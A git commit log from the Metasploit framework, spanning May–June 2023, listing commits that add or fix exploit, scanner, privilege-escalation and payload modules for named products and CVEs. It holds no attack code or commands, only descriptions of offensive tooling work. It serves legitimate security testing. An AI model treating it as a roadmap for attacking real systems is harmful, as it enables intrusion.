Shelby Pace 60c642bcd0 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:19 -05:00
h00die e3bcc9ac08 rocketmq version scanner 2023-06-07 17:29:53 -04:00
Metasploit 72102de2f2 automatic module_metadata_base.json update 2023-06-07 15:06:56 -05:00
Grant Willcox 5b39eaafc1 Land #18074, Fix exception handling in gitlab_github_import_rce_cve_2022_2992 module 2023-06-07 14:52:21 -05:00
Metasploit dbc7a8cb61 automatic module_metadata_base.json update 2023-06-07 14:48:34 -05:00
Grant Willcox 23451260af Land #18064, Add support for beta and prerelease versions to grafana_plugin_traversal 2023-06-07 14:33:31 -05:00
Grant Willcox b923b0c8c3 Add in a typo fix 2023-06-07 11:34:00 -05:00
Grant Willcox ffbd690a33 Add in ability to support detecting preview versions 2023-06-07 11:25:51 -05:00
space-r7 8f6b421dc1 add non-capture group 2023-06-07 10:52:58 -05:00
Metasploit d3c662b42b automatic module_metadata_base.json update 2023-06-07 08:35:09 -05:00
Christophe De La Fuente 82c8b5418e Land #17936, PaperCutNG Authentication Bypass with RCE 2023-06-07 15:05:51 +02:00
Christophe De La Fuente 991b9604e5 Add options to the documentation 2023-06-07 15:05:12 +02:00
Metasploit aa1a014d89 automatic module_metadata_base.json update 2023-06-07 06:25:49 -05:00
Christophe De La Fuente f88cb3b847 Land #18039, gitlab file read CVE-2023-2825 2023-06-07 13:07:54 +02:00
h00die-gr3y 46fcdb76d5 Updates based on jvoisin comments 2023-06-07 08:27:55 +00:00
h00die 4950cb3424 review adjustments 2023-06-06 16:24:38 -04:00
space-r7 2fcd97f5ef close socket 2023-06-06 14:37:58 -05:00
space-r7 102a32c87b add SCREEN_EFFECTS and akb assessment 2023-06-06 14:12:21 -05:00
space-r7 3b53966caa add installation steps 2023-06-06 12:14:14 -05:00
Christophe De La Fuente 451735ad15 Fix exception handler & add doc 2023-06-06 17:43:22 +02:00
catatonicprime a03603d076 Documentation linting. 2023-06-06 15:35:20 +00:00
h00die-gr3y 2e34d69133 Added documentation 2023-06-06 12:18:59 +00:00
cgranleese-r7 18ddd72285 Update jenkins login scanner to work with newer versions 2023-06-06 11:54:55 +01:00
attl4s ec948b5c16 add documentation 2023-06-06 10:04:57 +02:00
attl4s a34c3cf055 linted - all offenses addressed 2023-06-06 09:07:57 +02:00
h00die-gr3y 3e6ae74886 init commit module 2023-06-06 07:07:36 +00:00
RageLtMan e6b1ae2af8 Remote::JndiInjection: handle LDAP UnbindRequest 2023-06-06 00:54:40 -04:00
space-r7 5f7ae883f8 add documentation 2023-06-05 17:38:58 -05:00
space-r7 a12b58df22 add cmdstager usage, description, and metadata 2023-06-05 17:38:27 -05:00
Ashley Donaldson 61539ac260 Fix VBS stager in shell_to_meterpreter. 2023-06-06 07:23:58 +10:00
Metasploit 80e14846fe automatic module_metadata_base.json update 2023-06-05 13:57:46 -05:00
Grant Willcox 0d094f8645 Land #17917, shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-06-05 13:36:30 -05:00
Grant Willcox d029b26b4f Land #18062, Created mixin to retrieve the architecture of the current shell. 2023-06-05 12:58:57 -05:00
h00die-gr3y 52745a96d7 Added documentation 2023-06-05 17:18:57 +00:00
Grant Willcox 94ef437f9f Add in YARD documentation 2023-06-05 12:10:10 -05:00
Grant Willcox 9574c79d36 Remove extra code 2023-06-05 12:07:27 -05:00
Metasploit 70d0b5eee6 automatic module_metadata_base.json update 2023-06-05 11:20:27 -05:00
Grant Willcox 6f2f51bdc3 Land #18066, refactor archer_c7_traversal as gather module 2023-06-05 10:57:50 -05:00
h00die-gr3y 00e39eb540 updated CMD stager order 2023-06-05 14:54:31 +00:00
Jeffrey Martin 4e91a4e93d refactor archer_c7_traversal as gather module
* Update modules landed as a scanner into a more appropriate category.
* Adds a check method based on TP-link default `TITLE` html.
* Rename module consistent with existing exploit.
2023-06-05 09:07:11 -05:00
ErikWynter ba3d6dc0f9 fix typo in print statement from original module 2023-06-05 16:21:00 +03:00
ErikWynter 12f59d54df print the full version to the console 2023-06-05 15:49:06 +03:00
ErikWynter c5ff96fdfe grafana_plugin_traversal bugfix 2023-06-05 15:40:27 +03:00
h00die-gr3y 07def1c9f0 init commit module 2023-06-05 11:19:42 +00:00
Ashley Donaldson 795980260b Created mixin to retrieve the architecture of the current shell.
Currently only supports Windows, but does work on Win2000 upwards.
2023-06-05 11:10:53 +10:00
space-r7 1c5f8e09c8 add check method and new options 2023-06-02 17:59:04 -05:00
h00die 8f3325bcf8 move gitlab_auth_subgroups to gahter instead of scanner 2023-06-02 18:06:44 -04:00
Grant Willcox 1a36b81ba0 Land #18057, Update metasploit-payloads gem to 2.0.135 2023-06-02 13:03:34 -05:00
Metasploit c9627a7274 automatic module_metadata_base.json update 2023-06-02 11:30:01 -05:00
Spencer McIntyre 734e0b099e Land #18018, Add in CVE-2023-29084
Add in CVE-2023-29084 - Zoho ManageEngine ADManager Plus ChangePasswordAction
Authenticated Command Injection
2023-06-02 12:14:43 -04:00
Metasploit 7a2505e6f8 automatic module_metadata_base.json update 2023-06-02 11:10:00 -05:00
bwatters 1e9d286c77 Land #18044, Add MIPS64 Linux Fetch Payloads
Merge branch 'land-18044' into upstream-master
2023-06-02 10:53:43 -05:00
Grant Willcox 7728e1e2fb Add in new library function for escaping PowerShell literals 2023-06-02 10:22:56 -05:00
Grant Willcox 617aff5a43 Fix up supported payloads and remove nonused parameter 2023-06-02 09:48:03 -05:00
Grant Willcox f7d2cdae56 Add in ability to restore settings n documentation changes.
Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
2023-06-02 09:48:03 -05:00
Grant Willcox 965311d09e Fix documentation and fix bug in creating PARMS value 2023-06-02 09:48:02 -05:00
Grant Willcox 6e89f9b275 Address review comments 2023-06-02 09:48:02 -05:00
Grant Willcox 3ab4173d6c Fix up base64 encoder to properly quote strings - credit to @smcintyre-r7 for the fix 2023-06-02 09:48:02 -05:00
Grant Willcox 8577f21e52 Add in documentation and updated code 2023-06-02 09:48:01 -05:00
Grant Willcox 05bb3cd182 Update again 2023-06-02 09:48:01 -05:00
Grant Willcox c78a9bac1d Remove dropper target and try expand potential BadChars and limit payload size??? 2023-06-02 09:48:01 -05:00
Grant Willcox 6d066dc649 Add in initial copy of exploit 2023-06-02 09:47:49 -05:00
Spencer McIntyre 372f9cdcfc Update metasploit-payloads gem to 2.0.135
Includes changes from:
* rapid7/metasploit-payloads#648
* rapid7/metasploit-payloads#637
* rapid7/metasploit-payloads#646
* rapid7/metasploit-payloads#645
* rapid7/metasploit-payloads#643
* rapid7/metasploit-payloads#640
2023-06-02 09:49:57 -04:00
Metasploit 93614513ec automatic module_metadata_base.json update 2023-06-02 08:43:07 -05:00
Spencer McIntyre 8b641c4c97 Land #18055, Update aws_keys to run against linux
Update post/multi/gather/aws_keys to run against linux sessions
2023-06-02 09:28:13 -04:00
Spencer McIntyre a6f1be8efd Add new payloads to payloads_spec.rb 2023-06-02 09:07:18 -04:00
Metasploit 48b86c2578 automatic module_metadata_base.json update 2023-06-02 06:11:26 -05:00
Christophe De La Fuente 4661e9721e Land #18002, Added cmd useradd payload 2023-06-02 12:53:49 +02:00
manishkumarr1017 f8460dcdd2 PR Review changes for removing platform specific code 2023-06-02 14:50:46 +05:30
h00die da2e339ae8 review adjustments 2023-06-02 05:15:44 -04:00
space-r7 a66641da55 add delta electronics infrasuite deserialization 2023-06-01 17:57:57 -05:00
Grant Willcox 0f71613b66 Land #18056, Modify command stagers to not go over 100% 2023-06-01 16:06:13 -05:00
Metasploit 9b929dab14 automatic module_metadata_base.json update 2023-06-01 15:28:09 -05:00
Grant Willcox 7f7c5ea1f1 Land #17868, Improve check_host return code handling 2023-06-01 15:04:59 -05:00
Grant Willcox f6dc2c007a Fix up messages to more closely match check code messages and fix typos 2023-06-01 12:38:20 -05:00
adfoster-r7 c6816fceec Update post agther aws keys to run against linux 2023-06-01 18:19:11 +01:00
Ryuuuuu d535bb87ad Fix up logic to handle check_host return codes 2023-06-01 12:17:59 -05:00
Metasploit 25e8cf8faf Bump version of framework to 6.3.20 2023-06-01 12:10:08 -05:00
Zach Goldman 96f2c96a75 modify command stagers to not go over 100% 2023-06-01 12:07:07 -05:00
RadioLogic 4183cd444d Added unixcrypt to payload 2023-06-01 12:30:26 -04:00
Grant Willcox 068e0f5192 Land #18052, Fix broken file upload test on Windows sessions 2023-06-01 11:22:18 -05:00
Metasploit 2c987da8e1 automatic module_metadata_base.json update 2023-06-01 11:11:29 -05:00
Christophe De La Fuente 8ed981e575 Land #18003, Archer c7 traversal 2023-06-01 17:37:13 +02:00
Spencer McIntyre 8378435051 Land #17430, Add AWS SSM Sessions 2023-06-01 11:34:40 -04:00
RadioLogic c336f179d6 Gave rootmethod option better description
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:39 -04:00
RadioLogic d868d0ec14 Fixed double checking of sudoers
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-01 11:32:03 -04:00
adfoster-r7 4340245b14 Fix broken binary file upload test on windows sessions 2023-06-01 14:18:53 +01:00
adfoster-r7 46f7f8e7b0 Add module for running all post test modules 2023-06-01 11:51:33 +01:00
Ashley Donaldson 7f4bda193d Support retrieving Service Pack version on older OSes 2023-06-01 10:48:17 +10:00
Spencer McIntyre 9349dd24e3 Add a proper definition for NtdsCaSecurityExt 2023-05-31 17:31:33 -04:00
Grant Willcox 2a410e126d Land #18026, Fix non-deterministic test module load failures 2023-05-31 15:09:17 -05:00
h00die 1267d067b3 move gitlab_subgroup to gitlab_authenticated_subgroup 2023-05-31 15:29:00 -04:00
Grant Willcox ab12bee83e Fix single quote issue 2023-05-31 14:25:02 -05:00
catatonicprime 3875947f7d Removing unnecessary assignment 2023-05-31 19:17:30 +00:00
Metasploit d60f21df24 automatic module_metadata_base.json update 2023-05-31 12:49:42 -05:00
RadioLogic 0e477bdc9a Used unixcrypt to create encrypted password
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:47:29 -04:00
RadioLogic 2fab56f905 Made cachesize dynamic
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 13:46:05 -04:00
Grant Willcox 6756047f1f Land #18028, Add Apache NiFi login scanner module 2023-05-31 12:25:18 -05:00
Grant Willcox ccbdd7870e Update documentation 2023-05-31 11:57:42 -05:00
Catatonic Prime 6351c66b1e Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:56:13 -07:00
Catatonic Prime 6ad9ebb5c0 Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-31 08:48:53 -07:00
Grant Willcox 1fd2d41835 Fix typos and add dig for safe navigation 2023-05-31 10:34:10 -05:00
shellchocolat 1fbba702de add support to masm formatting 2023-05-31 17:17:17 +02:00
Ashley Donaldson 4b1158d5f1 Use existing shell registry logic 2023-05-31 11:24:33 +10:00
Grant Willcox cf9f9905e3 Fix more typos 2023-05-30 17:30:57 -05:00
Ashley Donaldson 778a2c47b7 Updated unit tests to use registry 2023-05-31 08:09:54 +10:00
Grant Willcox c0671c325a Touch up typos in documentation 2023-05-30 15:27:31 -05:00
Spencer McIntyre d7098aa06d Add MIPS64 fetch adapters 2023-05-30 15:03:06 -04:00
Spencer McIntyre 8a0dfa57a0 Drop size requirement and fix descriptions
The size requriement is used when the adapted payload is executed from
the command line but that's not the case for the fetch payloads which
execute a command to fetch the payload from a URL. The payload size
doesn't matter because it's included in the executable file hosted at
the URL.
2023-05-30 15:03:06 -04:00
catatonicprime 530ed911f4 Fixing ZDI ID 2023-05-30 19:03:01 +00:00
catatonicprime b376dac34b okay linter 2023-05-30 18:40:59 +00:00
catatonicprime cbf850b2b7 Apparently the comment after the rescue squelchs the linter. 2023-05-30 18:38:48 +00:00
Grant Willcox 3d63d0b097 Land #18030, Fix missing return in HTTP CmdStagers 2023-05-30 13:14:21 -05:00
Grant Willcox 42d4c73cda Land #18031, Improve help for "edit" and "log" commands 2023-05-30 11:43:21 -05:00
Metasploit 490a30aa4a automatic module_metadata_base.json update 2023-05-30 11:34:17 -05:00
Grant Willcox d194cf28eb Land #18032, Escape braces after all in cmd/brace encoder 2023-05-30 11:18:34 -05:00
Metasploit 4da004938f automatic module_metadata_base.json update 2023-05-30 10:27:30 -05:00
Grant Willcox 002c575ee1 Land #18036, Fix incorrect error handling in IBM sametime enumerate users module 2023-05-30 09:53:54 -05:00
Christophe De La Fuente ef89219715 Land #17899, Dolibarr 16 unauthenticated contact database dump 2023-05-30 16:41:28 +02:00
Christophe De La Fuente 7bde39ae73 Fixes from code review 2023-05-30 13:26:56 +02:00
adfoster-r7 e2718eb40c Land #18019, Fixes validation for to_handler command for Evasion and Payload modules 2023-05-30 10:39:01 +01:00
Ashley Donaldson 568e346d11 Support Windows 2000 by using ver command 2023-05-30 13:23:44 +10:00
Ashley Donaldson a94f78ec03 Use direct registry lookups to get version data, to cater for different language packs. 2023-05-30 12:21:12 +10:00
adfoster-r7 a5171ffa3a Land #18041, Minor fix in vsftpd_232.md docs 2023-05-29 23:59:54 +01:00
Metasploit d74b221df3 automatic module_metadata_base.json update 2023-05-29 17:02:08 -05:00
Jack Heysel b575f92d0a Minor fix in vsftpd docs 2023-05-29 17:55:36 -04:00
Jack Heysel 0b9aff0661 Land #18004, VSFTPD Dos Module
This PR adds a dos module for cve-2011-0762
which exploits the vsftpd server
2023-05-29 17:39:02 -04:00
jheysel-r7 1018ed1aaf Update documentation/modules/auxiliary/dos/ftp/vsftpd_232.md 2023-05-29 15:40:42 -04:00
Metasploit b9038bfbfb automatic module_metadata_base.json update 2023-05-29 11:48:51 -05:00
Jack Heysel fa6d168121 Land #18025, Apache NiFi version scanner module
This PR adds a verion scanner for Apache Nifi
2023-05-29 12:21:39 -04:00
manishkumarr1017 bebf8d4db8 changing payload structure of python's reverse_tcp for fixing windows bytes args is not allowed issue 2023-05-29 21:38:16 +05:30
h00die 5f308e0176 gitlab file read CVE-2023-2825 2023-05-29 00:55:02 -04:00
h00die 01359e77a7 gitlab file read CVE-2023-2825 2023-05-29 00:52:07 -04:00
h00die 0ccfa4af87 gitlab file read CVE-2023-2825 2023-05-29 00:48:15 -04:00
adfoster-r7 489421f6be Fix incorrect error handling in ibm sametime enumerate users 2023-05-28 00:29:17 +01:00
h00die cf2ca434a8 spelling 2023-05-26 15:53:16 -04:00
h00die 93479be5e6 review comments 2023-05-26 15:47:22 -04:00
RadioLogic 573eb4bda4 Merge branch 'master' into archer_c7_traversal 2023-05-26 01:48:43 -04:00
wvu f5bec517a0 Escape braces after all in cmd/brace encoder
Previously escaped only commas.
2023-05-25 23:46:18 -05:00
wvu 00451e3aec Improve help for "edit" and "log" commands
Talking about `LocalEditor` and `LocalPager`.
2023-05-25 23:22:54 -05:00
wvu 9528339761 Fix missing return in HTTP CmdStagers
Fetch payloads are cooler, but this was missed in https://github.com/rapid7/metasploit-framework/pull/13426.
2023-05-25 22:22:23 -05:00
RadioLogic 250a8768e3 Updated doc to appease msftidy 2023-05-25 21:28:19 -04:00
RadioLogic 61c4ba7503 Renamed module to correct name 2023-05-25 21:21:49 -04:00
RadioLogic 376ef7a8bc Made several fixes for msftidy 2023-05-25 21:16:07 -04:00
h00die 48207dd9f1 apache nifi login module 2023-05-25 16:57:32 -04:00
Jack Heysel d8255157c9 Land #18021, Fix #cd for Powershell Sessions 2023-05-25 14:26:01 -04:00
RadioLogic 72ef6537ef Added tested versions to description 2023-05-25 14:21:52 -04:00
RadioLogic cb8d86651d Added build setup for arch linux 2023-05-25 14:19:44 -04:00
RadioLogic b11b31c9ae Moved docker description into vulnerable application 2023-05-25 14:18:15 -04:00
RadioLogic 1d98cb0069 Added better description to documentation 2023-05-25 13:34:04 -04:00
Metasploit 8368b80ad6 Bump version of framework to 6.3.19 2023-05-25 12:05:49 -05:00
attl4s 217df628df fix getting the username + use Failure::BadConfig instead of NoTarget 2023-05-25 19:05:42 +02:00
attl4s 39b45694af Update datastore option USER -> USERNAME
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-05-25 18:55:49 +02:00
Jeffrey Martin 2879dcaf14 Land #18024, fix case-insensitive hash collisions 2023-05-25 10:42:39 -05:00
Zach Goldman 7215b88bad bump credential version 2023-05-25 10:38:39 -05:00
Ashley Donaldson 75ba9110e2 Added module for Windows version comparisons
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
2023-05-25 14:36:46 +10:00
adfoster-r7 9f0032582a Fix non-deterministic test module load failures 2023-05-25 02:44:03 +01:00
h00die 7c2790513d apache nifi version scanner 2023-05-24 20:05:34 -04:00
Grant Willcox 7ca7c6aee1 Slight efficiency improvements 2023-05-24 17:36:39 -05:00
Grant Willcox e80987ea59 First round of updates from review 2023-05-24 13:17:49 -05:00
Grant Willcox e78cf054b8 Add in EITW notes 2023-05-24 13:17:49 -05:00
Grant Willcox 84961e6e09 Add in documentation 2023-05-24 13:17:49 -05:00
Grant Willcox 9e8d1ed2ea Add in Java class file, raw source code, and tidy up the module a bit 2023-05-24 13:17:48 -05:00
Grant Willcox 155319d479 Save work 2023-05-24 13:17:48 -05:00
Grant Willcox 3faf96aa9d Check return code on target server responses 2023-05-24 13:17:48 -05:00
Grant Willcox 5ded2adfb5 Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though 2023-05-24 13:17:47 -05:00
Grant Willcox d00d339de5 Initial copy with JNDI connection back to LDAP server. 2023-05-24 13:17:47 -05:00
RadioLogic 1c57019096 Merge branch 'master' into vsftpd_232 2023-05-24 10:58:22 -04:00
RadioLogic 9c58289b21 Added container info in documentation 2023-05-24 10:54:31 -04:00
RadioLogic 0aee634d67 Put authors on separate lines 2023-05-24 10:48:31 -04:00
attl4s 240fd65d0c module, not exploit 2023-05-24 16:30:38 +02:00
attl4s 623657b072 Logontype changed to OptEnum + better meterpreter session requirement check 2023-05-24 16:28:56 +02:00
attl4s 42ef5ad322 remove TLV_TYPE_TOKEN_UPDATE_RESULT - update_token sends empty response when succeeds 2023-05-24 16:12:12 +02:00
attl4s 3a685849a8 add update_token bridge + make_token module 2023-05-24 10:33:52 +02:00
vtoutain b327809450 Changes regarding auxiliary modules
Changed back some modifications of includes and functions definitions that were related to exploit modules.
2023-05-24 09:28:41 +02:00
vtoutain e542c50154 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-24 09:26:03 +02:00
Spencer McIntyre ed5d516c21 Sync the .NET working path for Powershell sessions
See: https://github.com/PowerShell/PowerShell/issues/10278
2023-05-23 15:21:52 -04:00
Spencer McIntyre afb31b0f21 Add a function to escaple cmd.exe string literals 2023-05-23 15:17:39 -04:00
Grant Willcox e749945b01 Land #18009, Clearing http web data service credentials in msfconsole 2023-05-23 12:15:52 -05:00
Metasploit 5189c7af83 automatic module_metadata_base.json update 2023-05-23 08:57:43 -05:00
Spencer McIntyre 9e38ed4459 Land #17929, Linux sudoedit LPE (CVE-2023-22809)
Linux sudoedit priv esc (CVE-2023-22809)
2023-05-23 09:30:18 -04:00
cgranleese-r7 3e327efdc4 Fixes validation for to_hanler command for Evasion and Payload modules 2023-05-23 10:16:06 +01:00
Spencer McIntyre 120dc877ad Pr/collab/17430 (#41)
* Prevent using post modules with the session

It doesn't work reliably because of winpty and how the output is
mangled.

* Set the limit correctly

* Fix Linux PTY downgrade issues

* Remove filtering

The filtering implementation is incomplete and unnecessary.

Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.

The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.

* Add module docs for enum_ssm
2023-05-22 17:11:16 -04:00
sfewer-r7 0205bb36d3 change ranking to GreatRanking as stability is CRASH_SERVICE_RESTARTS 2023-05-22 20:09:11 +01:00
adfoster-r7 f89de600be Land #18015, remove dead link from wiki 2023-05-22 18:44:09 +01:00
sfewer-r7 6b101b5a4d make rubocop happy 2023-05-22 18:03:58 +01:00
adfoster-r7 1eb6996ea5 Land #17989, Improves flag formatting for kerberos ticket presenter 2023-05-22 17:42:10 +01:00
Tom Kelley 4dcfe0a1cf Remove dead link 2023-05-22 09:38:36 -07:00
Metasploit d9cbe065ce automatic module_metadata_base.json update 2023-05-22 10:15:11 -05:00
space-r7 60f6574bf3 Land #17965, add module for AD CS cert management 2023-05-22 09:50:53 -05:00
dwelch-r7 e27a08a073 Land #18010, Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-22 15:44:33 +01:00
Spencer McIntyre 0a3247f1a7 Add documentation 2023-05-22 10:29:03 -04:00
Spencer McIntyre e3823691a1 Add module for AD CS template CRUD operations 2023-05-22 10:28:58 -04:00
Grant Willcox ae430ff3db Land #18013, Exclude IDE development collateral from Gemspec 2023-05-22 09:03:10 -05:00
Jeffrey Martin 5a96979363 exclude IDE development collateral from gemspec 2023-05-22 08:28:23 -05:00
Spencer McIntyre 8258657a45 Add the ESC1 certificate template 2023-05-22 09:21:24 -04:00
Spencer McIntyre a88751167b Add specs for .from_sddl_text 2023-05-22 09:21:24 -04:00
Spencer McIntyre ff4fafda2f Add support for parsing SDDL 2023-05-22 09:21:24 -04:00
Spencer McIntyre 3af052390d Add well known SID and RID constants 2023-05-22 09:21:24 -04:00
Spencer McIntyre 49fd6e876a Add constants from MS-CRTD 2023-05-22 09:21:24 -04:00
Spencer McIntyre 1ffefcbea4 Treat the subauthority as optional
This allows some additional SIDs to function such as
SECURITY_CREATOR_SID_AUTHORITY.
2023-05-22 09:21:24 -04:00
Spencer McIntyre d23f407c44 Monkey patch #modify to accept controls 2023-05-22 09:21:24 -04:00
Spencer McIntyre dcbc6d19c5 Update #validate_query_result!
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
2023-05-22 09:21:20 -04:00
RadioLogic f1468a83ed Added forgotten end 2023-05-21 13:40:52 -04:00
RadioLogic 7a9f13c960 Added option to remove sudoers check 2023-05-21 12:18:32 -04:00
RadioLogic 4b3d6b59cc Replaced fail_with with raised error 2023-05-21 12:10:18 -04:00
RadioLogic dc11d818aa Corrected failwith statement 2023-05-21 00:37:00 -04:00
RadioLogic 3dc9438b3a Added firmware version to documentation 2023-05-21 00:33:33 -04:00
RadioLogic 33e59a291e Added check for user 2023-05-21 00:26:18 -04:00
RadioLogic e0e214e241 Merge branch 'master' into useradd 2023-05-20 18:21:18 -04:00
RadioLogic ed026e52eb Fixed echo option so sudo would work 2023-05-20 18:14:46 -04:00
RadioLogic fffc7f514d Fixed issue with description 2023-05-19 15:24:53 -04:00
RadioLogic c42905fe92 Updated description 2023-05-19 13:45:45 -04:00
RadioLogic d07f2ed633 Set default method to sudo 2023-05-19 13:45:11 -04:00
RadioLogic b077167d73 Redesigned to not use exectuable at all 2023-05-19 13:34:12 -04:00
RadioLogic a8fd4e7aba Renamed to adduser for consistency 2023-05-19 13:31:55 -04:00
adfoster-r7 9dd10d6df7 Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-19 16:12:16 +01:00
cgranleese-r7 8d131f0a95 Updates the msfdb prompts for webservice 2023-05-19 12:57:35 +01:00
Metasploit 428229aede Bump version of framework to 6.3.18 2023-05-18 12:10:55 -05:00
Metasploit 61569a0b2e automatic module_metadata_base.json update 2023-05-18 11:43:04 -05:00
Spencer McIntyre f464401dde Land #17782, Add fetch payloads
Add http wget cmd based fetch payload for Linux and Windows
2023-05-18 12:18:27 -04:00
cgranleese-r7 de6e26de8e Land #18006, Fix error when msfconsole opens browser links without a display present 2023-05-18 16:56:29 +01:00
bwatters 548a2d7ab4 Add fetch payloads for Windows and Linux x64 2023-05-18 10:47:29 -05:00
cgranleese-r7 26daa65c58 Land #18005, Fix crash when running a module through socks 4a proxy 2023-05-18 13:25:33 +01:00
adfoster-r7 39f4ccd9f9 Fix error when msfconsole opens browser links without a display present 2023-05-18 10:29:22 +01:00
adfoster-r7 3e32c0e22d Fix crash when running a module through socks 4a proxy 2023-05-18 10:25:56 +01:00
Metasploit 4df7551759 automatic module_metadata_base.json update 2023-05-17 19:11:48 -05:00
space-r7 6c88e85d02 Land #17993, add invscout RPM privesc 2023-05-17 18:56:42 -05:00
Grant Willcox 2c0dc61bd2 Land #17991, Add config for Solargraph to aid IDEs 2023-05-17 16:10:44 -05:00
Grant Willcox d4b9473294 Ignore .solargraph.yml config file 2023-05-17 15:03:05 -05:00
RadioLogic 21273648a4 Fixed response using double quotes 2023-05-17 12:39:02 -04:00
RadioLogic 6882a7cc60 Shortened payload to be readable 2023-05-17 12:05:40 -04:00
RadioLogic 62f48c5933 Updated vsftpd_232 documentation 2023-05-17 12:01:59 -04:00
RadioLogic ab0b8b8274 Ran msftidy on module 2023-05-17 11:48:09 -04:00
cgranleese-r7 73a33a9f73 Addresses PR feedback 2023-05-17 16:45:15 +01:00
RadioLogic 775173381c Made progress show in dots rather than status 2023-05-17 11:44:37 -04:00
RadioLogic 9c888da5cb Reverted from threading as payload finally works 2023-05-17 11:43:50 -04:00
RadioLogic 49e7c2459f Fixed payload to properly function 2023-05-17 11:40:29 -04:00
RadioLogic 9a732a881b Improve module description
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:09:25 -04:00
RadioLogic 789646dd65 Use better failwith lines
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:08:59 -04:00
bcoles 0bc1fdf51d Add invscout RPM Privilege Escalation 2023-05-17 20:17:55 +10:00
RadioLogic 10dd1b8906 Updated scenarios for vsftpd_232 2023-05-17 00:44:46 -04:00
RadioLogic 6a846c2c94 Added stub since stopping doesnt exist 2023-05-17 00:44:18 -04:00
RadioLogic e1a9f61ad9 Added documentation to scanner module 2023-05-17 00:00:00 -04:00
RadioLogic f15c9a0bbb Added cmd useradd payload 2023-05-16 23:16:54 -04:00
RadioLogic 4f70be41ae Removed lib include line as it became redundant 2023-05-16 23:02:55 -04:00
RadioLogic 0bf5746bde Added recommended folders to config 2023-05-16 18:25:37 -04:00
RadioLogic 6fdc86db19 Set max files to 0 2023-05-16 18:25:07 -04:00
h00die 2ca5ca1f63 stronger grep 2023-05-16 16:18:14 -04:00
RageLtMan f929d2c90f Drop redundant shell_command in powershell.rb 2023-05-16 15:43:16 -04:00
RageLtMan 713ec6ae76 Merge branch 'master' into feature/aws_ssm_sessions 2023-05-16 14:39:37 -04:00
Metasploit 571e3d5e99 automatic module_metadata_base.json update 2023-05-16 09:35:29 -05:00
cgranleese-r7 82bf51647d Improves flag formatting for kerberos ticket presenter 2023-05-16 15:25:36 +01:00
Grant Willcox 459cf871cb Land #17979, Add exploit for Ivanti Avalanche file upload - CVE-2023-28128 2023-05-16 09:19:33 -05:00
h00die 6bee4f56d9 updates from review 2023-05-13 15:49:11 -04:00
Grant Willcox 560fc9000b Fix up checks on responses to make sure they are more robust checks 2023-05-12 16:08:47 -05:00
Grant Willcox ea988f0c78 Add more documentation on how to set the target up based on my own experience and so that we have a backup in case the link to external documentation breaks 2023-05-12 14:27:39 -05:00
Grant Willcox 3b2d23eeae Fix up check method, unduplicate fail_with messages to make them unique, and add @cleanup_needed so we can check if cleanup is needed to avoid unnecessary messages when just checking if the target is vulnerable or not 2023-05-12 14:14:40 -05:00
RadioLogic b7b1df23ea Implemented threading into module 2023-05-12 14:28:10 -04:00
RadioLogic 04e6bf804f Made stability involve service down 2023-05-12 14:27:58 -04:00
RadioLogic 0e9060e295 Added documentation for module 2023-05-12 14:27:12 -04:00
Metasploit 3c0222d7d0 automatic module_metadata_base.json update 2023-05-12 13:16:50 -05:00
adfoster-r7 f40a2e8dbc Land #17990, ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-12 19:03:22 +01:00
adfoster-r7 c723a2865e Land #17987, Split recalculate out into multiple functions 2023-05-12 18:27:46 +01:00
RadioLogic 2e5b38e718 Merge branch 'master' into solargraph 2023-05-12 13:02:36 -04:00
Dean Welch 3036a53697 Change name to single_name for consistency 2023-05-12 16:59:33 +01:00
Dean Welch f6855f6aa4 Split recalculate out into multiple functions 2023-05-12 16:30:14 +01:00
RadioLogic f46967e2c4 Added config for solargraph to aid IDEs 2023-05-12 11:29:32 -04:00
bcoles 004a72c32e ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-13 01:27:53 +10:00
dwelch-r7 b752735db1 Land #17967, Fix ruby 3.1 crashes and resource leaks when garbage collecting Meterpreter resources 2023-05-12 14:14:02 +01:00
Grant Willcox cf5f90ac4f Minor updates to documentation to tidy things up a bit 2023-05-11 16:48:16 -05:00
space-r7 722de33b6f address feedback, use cleanup to restore path
fix bug where if config restore failed, module would
output that it was both a failure and a success
add akb topic as reference
2023-05-11 13:20:25 -05:00
Metasploit 20ac531254 automatic module_metadata_base.json update 2023-05-11 13:11:32 -05:00
adfoster-r7 ff1331c11b Land #17985, fix typo in sticky_keys.rb 2023-05-11 18:50:18 +01:00
Edmond Major III d24f5873bd Update sticky_keys.rb
Persistance -> Persistence 

Fix a small typo
2023-05-11 12:22:54 -05:00
